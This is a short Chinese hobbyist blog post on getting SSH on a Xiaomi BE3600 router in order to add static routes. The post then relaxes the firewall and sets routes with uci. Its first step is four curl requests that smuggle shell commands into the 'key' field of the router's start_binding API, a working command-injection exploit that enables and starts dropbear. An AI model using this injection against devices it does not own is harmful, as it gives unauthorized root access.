恩 无聊的产物

前置条件

入手了 be3600

发现没办法设置静态路由

那 不能就这么放弃了

ssh

感谢 恩山 的大佬们

1
2
3
4
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Anvram%20commit'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=token/api/xqsystem/start_binding -d "uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'"

计算 ssh 密码 注意 sn 大小写问题

开启静态路由

修改防火墙

  • /etc/config/firewall
1
2
3
4
5
6
7
8
9
10
11
12
13
config defaults
option syn_flood '0'
option input 'ACCEPT'
option output 'ACCEPT'
option forward 'REJECT' # 改成 ACCEPT
option drop_invalid '1' # 改成 0

config zone
option name 'lan'
option network 'lan'
option input 'ACCEPT'
option output 'ACCEPT'
option forward 'REJECT' # 改成 ACCEPT

设置静态路由

1
2
3
4
5
6
7
8
uci add network route
uci set network.@route[-1].interface=lan
uci set network.@route[-1].target=192.168.11.0
uci set network.@route[-1].netmask=255.255.255.0
uci set network.@route[-1].gateway=192.168.2.9
uci commit network

uci show network

重启后就可以生效了

参考地址